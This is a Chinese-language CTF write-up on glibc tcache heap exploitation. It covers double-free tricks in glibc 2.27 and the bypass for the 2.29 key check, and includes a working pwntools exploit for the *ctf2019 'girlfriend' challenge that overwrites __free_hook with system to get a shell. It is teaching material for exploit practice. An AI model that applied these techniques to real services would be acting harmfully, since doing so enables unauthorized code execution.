tcache浅析

tcache glibc2.27

glibc2.27版本的tcache是可以double free处理的,利用起来就很方便

tcache会把之前malloc的chunk在free完之后写入tcache list里面

常规操作的话,我们需要将chunk写进unsorted bin才能leak出main_area的地址
而想要跳出tcache list 可以利用double free将a->a的形式写入tcache list (free 同一个 chunk)
这个时候,指针count为2,
在malloc同一个大小,不进行写入参数时,可以不断地往那个tcache list里拿那个地址,并且count -1
使得count为-1时,不再写入tcache list,而是写进unsorted bin list
接下来就可以正常泄露libc了

例题:

V&N公开赛2020 easyTheap

最简单的double free + tcache

要想leak出libc的地址就要把chunk free进unsortedbin里
这里就要用了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

add(0x100)
add(0x68)

delete(0) #tcache-1
delete(0) #tcache-2
show(0)
heap_base = u64(p.recvline().strip("\n").ljust(8,'\x00')) - 0x260
print hex(heap_base)


add(0x100) #2 tcache-1
edit(2,p64(heap_base+0x10))
add(0x100) #3 tcache-0
add(0x100) #4 tcache- -1->绕过
delete(0) #unsorted bin
show(0)
libc_base = u64(p.recvline().strip("\n").ljust(8,'\x00')) - 96 - 0x10 - libc.sym['__malloc_hook']

SCTF2019 one_heap

这题也是要先绕过tcache来leak地址的
第一步操作是一样的

具体exp见这里

tcache glibc2.29

结构体新增了key指针

1
2
3
4
5
6
typedef struct tcache_entry
{
struct tcache_entry *next;
/* This field exists to detect double frees. */
struct tcache_perthread_struct *key; /* 新增指针 */
} tcache_entry;
1
2
3
4
5
6
7
8
9
10
11
static void tcache_put (mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
assert (tc_idx < TCACHE_MAX_BINS);
/* Mark this chunk as "in the tcache" so the test in _int_free will
detect a double free. */
e->key = tcache;
e->next = tcache->entries[tc_idx];
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
}
1
2
3
4
5
6
7
8
9
10
11
12
if (__glibc_unlikely (e->key == tcache))
{
tcache_entry *tmp;
LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
for (tmp = tcache->entries[tc_idx];
tmp;
tmp = tmp->next)
if (tmp == e)
malloc_printerr ("free(): double free detected in tcache 2");
/* If we get here, it was a coincidence. We've wasted a
few cycles, but don't abort. */
}

如果e->key == tcache,程序会从链表头检索chunk,如果检索到了chunk e,说明tcache中已经存在chunk e,再次释放就会触发double free。
这就意味着我们在2.29下就没办法用double free绕过tcache了

因此绕过想绕过检测进行double free,e->key 是入手点。

绕过实现tcache double free思路

利用UAF/堆溢出更改e->key,使之不等于tcache_prethread_str,可以绕过if判断

利用堆溢出修改chunk的size,查找tcache链时并不会找到该chunk(不同一个tcache链中),满足free的条件。

picoctf2019 zero_to_hero

其实没有碰到过这类的题,就按着师傅的blog来讲一下这个通过改了size之后free到不同tcache队列实现double free的题吧

首先题目友好的给出了system的地址,就不需要我们leak了,我们就只需要直接用tcache操作进行改free_hook为system,执行即可

第一步先malloc两个chunk(第二个要求大于0x110)并将两个chunk free掉
然后malloc第一个chunk,通过off by null把第二个chunk的size 从0x1xx变成0x100
再free第二个chunk就可以实现double free了

接下来就是常规操作了,具体操作可以看师傅的blog

绕过tcache实现unsortedbin上操作

在malloc.c的宏定义里,可以看见tcache的个数为7个

1
# define TCACHE_FILL_COUNT 7

tcache每一个大小的chunk个数上限是7,填满之后就会往unsortedbin里填,我们可以先将tcache填满之后再操作

*ctf2019 girlfriends

这题在free的地方没清空指针,可以进行double free

step1:leak libc
我们可以malloc一个超过tcache大小的chunk(largebin),free完直接进入largebin,可以直接leak出libc

step2:填满tcache用fastbin构造double free

step3:通过double_free的链,将free_hook填上system。

PS: 在申请时首先清空对应tcache链上的内容,然后再申请fastbin里的chunk,当tcache里没有chunk而fastbin里有chunk时,会将fastbin里的chunk放入tcache

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import*
context.log_level = 'debug'

p=process('./chall')
# # p=remote('node3.buuoj.cn',26796)
pwn_file="./lib/ld-2.29.so --library-path ./lib/ ./starctf_2019_girlfriend"
#pwn_file = "./babyheap"

elf=ELF("./starctf_2019_girlfriend")
libc = ELF("./lib/libc.so.6")


# libc = ELF("./lib/libc.so.6")
p=process(pwn_file.split())
# p=remote('node3.buuoj.cn',26796)
def add(size,name,call):
p.recvuntil("Input your choice:")
p.sendline("1")
p.recvuntil("Please input the size of girl's name")
p.sendline(str(size))
p.recvuntil("please inpute her name:")
p.send(name)
p.recvuntil("please input her call:")
p.send(call)

def show(index):
p.recvuntil("Input your choice:")
p.sendline("2")
p.recvuntil("Please input the index:")
p.sendline(str(index))

def delte(index):
p.recvuntil("Input your choice:")
p.sendline("4")
p.recvuntil("Please input the index:")
p.sendline(str(index))



add(0x440,"coyote","coyote") #0
add(0x20,"coyote","coyote") #1
delte(0)
show(0)
p.recvuntil("name:\n")
gdb.attach(p)
libc_base=u64(p.recv(6).ljust(8,'\x00'))-0x3b1ca0
print hex(libc_base)

free_hook = libc_base + libc.symbols["__free_hook"]
one_gadget = libc_base + 0xdf99d
system = libc_base + libc.symbols["system"]
malloc_hook = libc_base + libc.symbols["__malloc_hook"]



for i in range(7):
add(0x68,"coyote","coyote") #2-8

add(0x68,"coyote","coyote") #9
add(0x68,"coyote","coyote") #10

delte(8)


for i in range(6):
delte(i+2)

add(0x68,"coyote","coyote") #11
add(0x68,"coyote","coyote") #12

#fill tcache
delte(9)
delte(10)


#fastbin
delte(11)
delte(12)
# delte(13)
# delte(12)
delte(11)


for i in range(7):
add(0x68,"coyote","coyote")#13-19


add(0x68,p64(free_hook),'coyote')#20 -11
add(0x68,"coyote","coyote")#21 -12
add(0x68,"/bin/sh","coyote") #22 -11
add(0x68,p64(system),'coyote') #23

delte(22)
p.interactive()

参考链接:https://x3h1n.github.io/2019/06/21/starctf-2019-girlfriend/